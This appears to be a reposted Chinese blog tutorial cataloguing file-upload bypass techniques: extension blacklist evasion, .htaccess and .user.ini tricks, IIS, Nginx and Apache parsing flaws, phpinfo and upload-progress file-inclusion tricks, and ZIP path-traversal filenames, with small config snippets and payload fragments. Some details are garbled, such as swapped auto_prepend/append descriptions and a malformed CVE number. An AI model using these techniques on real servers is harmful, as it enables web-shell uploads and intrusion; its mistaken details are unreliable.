PHP_ICONV_ERR_ILLEGAL_SEQ异常,
当php版本低于5.4时,转换字符集能够造成截断。5.4版本以上会存在问题。

我们可以拿burpsuite跑一波后缀
比如x.php\x99.jpg

文件后缀黑名单校验绕过

上传文件重名

php常见可执行后缀是php3,php5,phtml,pht
aps的常见后缀是cdx,cer,asa
jsp可以尝试jspx
在上传php文件限制时,可以通过上传PHTML文件实现绕过,

可解析的后缀在不同环境不尽相同,如果环境是windows系统
可以尝试php,php::$DATA, php.等后缀,
或者先上传a.php:.jpg 生成空的a.php文件,再上传a.ph<
写入文件内容,再windows下,文件名不区分大小写,可是上传的时候是区分的,
所以可以尝试大小写绕过。若WEb服务配置了SSI,还可以尝试上传SHTML,SHT等文件命令执行。

上传文件不重名

上传.htaccess文件绕过黑名单

在低于2.3.8的版本中,AllowOverride指令默认为ALL
在2.3.9的版本中,默认为None,
在高版本Apache中,.htaccess已经没有效果了。
如果低于2.3.8
可以使用SetHandler指令使php解析指定文件。

当然,.htaccess文件并不能覆盖所有的主配置文件的指令

例如这个htaccess文件

AddHandler php5-script .php
#AddHandler 指令的作用是在文件扩展名与特定的处理器之间建立映射
#指定扩展名为.php的文件应该被php5-script处理器来处理。

.user.ini上传文件绕过黑名单

同样,.user.ini文件也不能覆盖所有的php.ini中的配置
PHP_INI_PREDIR模式,存在两个特殊的配置。

auto_append_file 指定一个文件在主文件解析前解析
auto_prepend_file 指定一个文件在主文件解析后解析
使用user.ini绕过上传黑名单还是有很大局限性的。因为当前目录如果没有php文件,他就不能被执行。

文件后缀白名单校验绕过

WEB服务器解析漏洞

IIS解析漏洞

IIS6中存在两个解析漏洞
*.asp文件夹下所有的文件都会被当作脚本文件进行解析
yu.asp;a.jpg的文件会被解析成asp文件,而且还可以绕过白名单后缀

Nginx解析漏洞

Nginx未配置try_files且FPM 未设置security.limit_extensions场景下可能出现解析漏洞
nginx配置如下

location ~ \.php ${
	#try_files     $uri=404
	fastcgi_pass
	unix:/Applications/MAMP/Library/logs/fastcgi/nginxFastCGI_php5.3.14.sock
			fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
			include          /Applications/MAMP/conf/nginx/fastcgi_params
}

上传x.jpg
访问x.jpg/1.php
location为.php结尾,会交给FPM处理,此时$fastcgi_script_name值为
x.jpg/1.php 在php开启cgi.fix_pathinfo配置的时候,x.jpg/1.php文件不存在,然后fallback去除/之后的内容,继续判断x.jpg是否存在从而执行

此时从右向左判断
如果FPM没有配置security.limit_extensions,限制执行后缀必须为php,则会产生解析漏洞。

apache解析漏洞

多后缀文件解析漏洞

apache中,单个文件支持拥有多个后缀,如果多个后缀都存在对应的handler,或者media-type 那么对应的handler会处理当前的文件
AddHandler aplication/x-httpd-php .php配置下,
x.php.xxx文件会使用aplication/x-httpd-php来处理当前文件

多后缀从最右后缀开始识别,如果不存在对应的MIME type或者Handler 就会继续向左识别,。

CVE-2017-1575漏洞

在HTTPD2.4.0和2.4.29版本中,FilesMatch指令正则$可以匹配换行符,可以导致黑名单绕过
Apache配置如下

<FilesMatch \.php>
	SetHandler application/x-httpd-php
</FileMatch>

本意指的是解析php结尾的文件,但是由于
php\n也能被解析,剋上传x.php\n来绕过黑名单,不过在PHP中$_FILES上传会清除\n 导致字符不能利用。
但是如果他使用file_put_contents实现的上传,那么就可以

文件禁止访问绕过

我们有时候会有很多上传的东西,但是他不解析,通常是因为在WEB服务器配置中,上传目录下脚本禁止解析或者访问,比如尝试上传../x.php 等类似文件,当然对于$_FILES是不可能实现的,

.htaccess禁止脚本文件执行绕过

低于9.22版本的jQuery-File-Upload在自带的上传脚本(server/php/index.php)中,验证上传文件后缀使用的正则为
‘accept_file_types=>'/.+$/i'’
也就是允许任意文件上传,
之所以有底气,是因为.htaccess文件配置上传的脚本文件无法被执行,
但是在apache 2.3.9起AllowOverride默认为None,所以.htaccess任何指令无法使用。
导致漏洞

文件上传到OSS

上传到OSS的脚本文件不会被服务端解析,但是可以通过上传HTML,SVG的等文件,让浏览器实现XSS,不过XSS在aliyuncs.com域下没有用

当OSS绑定在二级域名下的时候,xss就有用了

配合文件包含绕过

如果上传脚本文件无法被访问或解析,那么可以上传php文件配合文件包含实现解析。
类似的场景还有SSTI,常为用户选择可以加载的模板,但是模板文件后缀通常写死。所以这时可以通过任意文件上传模板文件,然后渲染上传的模板实现SSTI。

一些可以被绕过的web配置

上传目录中禁止文件执行通常在web服务器中配置。在配置不当的情况下可能存在绕过。

pathinfo导致绕过
location ~ /upload/.*\.(php|php5|phtml|pht)${
	deny all;
}
location ~ \.php(/|$){
省略
}

pathinfo在各大框架流行,很多都支持,会把location类似x.php/xxxxx的路径也交给FPM解析,但是x.php/xxxxx并不符合deny all匹配规则,导致绕过

location匹配顺序导致绕过

Nginx中经常出现多个location都能匹配请求URI的场景,具体交给哪个location语句块处理,就需要看location块儿的匹配优先级。
nginx的location块儿匹配优先级先匹配普通location,然后匹配正则location,如果存在多个普通location则会按找最长前缀原则选择location

location /book/upload/{
	deny all;
}
location ~ \.php(/|$){
省略
}

在普通的location匹配完成后,如果不是完全匹配,那么就会继续交给正则进行匹配,如果正则匹配成功,就会覆盖普通location匹配的结果。
所以deny all 被正则location 匹配所覆盖,upload目录下的php文件依旧能正常运行。

正确的做法应该是在普通匹配前面加上^~ 表示只要匹配成功就算不完全匹配也不会在进行正则匹配

location ^~/book/upload/{
	deny all;
}

利用apache解析漏洞绕过
<FilesMatch ".(php|php5|phtml)">
Deny from all
</FilesMatch>

此时可以利用apache的解析漏洞上传yu.php.aaa文件,绕过deny all

绕过图片验证实现代码执行

getimagesize绕过

很容易,php代码添加到图片后面即可
或者可以定义

#define %s %d

例如#define height 100
# define wideth 1100
就省去了图片的麻烦

imagecreatefromjpeg绕过

应该是二次渲染绕过,
有成熟的脚本
如下
https://github.com/BlackFan/jpg_payload

上传生成的临时文件利用

php在上传过程中,会生成临时文件,然后会删除,如果找不到文件包含可以包含临时文件

LFI via phpinfo

由于上传文件会生成6位随机字符的文件名,因为上传完成后会删除,所以很麻烦,但是如果我们对phpinfo上传文件,就可以拿到生成的文件。

因为phpinfo会显示不管 是post还是get的参数

LFI配合phpinfo场景已经有很成熟的利用脚本了

LFI via Upload_Progress

当session.upload_progess.enabled开启的时候,
php就能在每个文件上传时检测上传进度,
从PHP5.4以后,默认开启。
同时POST与INI中设置同名变量session.upload_progess.name
当php检测到这种POST请求的时候,会向session中添加一组数据,来写入上传信息。

那么如果我们上传时,模拟这个POST
构成两个文件头
(图片不方便往上放,可以查看其他师傅图片)
将文件名字改成PHP_SESSION_UPLOAD_PREGRESS
x<?php phpinfo();?>.jpg

同时需要条件竞争,在session文件被清除前包含到session文件。

LFI via Segmentation fault

详情看这里师傅的吧
https://hackmd.io/s/Hk-2nUb3Q

使用file_put_contents实现文件上传

file_put_contents上传文件黑名单绕过

本节原理很多,图片不做展示
文件名为yu.php/.

死亡die绕过

很多网站会在上传的时候将文件开头加入<?php exit();?>
为了绕过exit
我们可以使用过滤器把他处理掉
这里选用base64_decode 进行处理

ZIP上传带来的上传问题

未处理解压文件

后端直接解压,造成任意文件上传

未递归检查上传目录导致绕过

如果解压出目录,他不做检测,只检测脚本文件,那么就导致绕过

条件竞争导致绕过

在删除之前,访问到我们的上传的文件,

解压产生异常导致绕过

当解压一半发生错误时,前一半文件会生成,
我们使用010 Editor 将我们代码放在前一半,然后将其后的内容修改为0xff
就会解压失败

解压特殊文件实现绕过

特殊文件包含两个,
第一个需要正常文件,避免linux下解压不成功
第二个需要目录跳转的文件,可以命名为
../../aaaaa.php

WEB拓展

反序列化漏洞

Python安全问题

格式化字符串

Python模板注入(ssti)

urllib和ssrf

Python 反序列化

Python xxe

密码学和逆向知识

逻辑漏洞

AWD

靶场渗透

猜你喜欢

转载自blog.csdn.net/hxhxhxhxx/article/details/112784856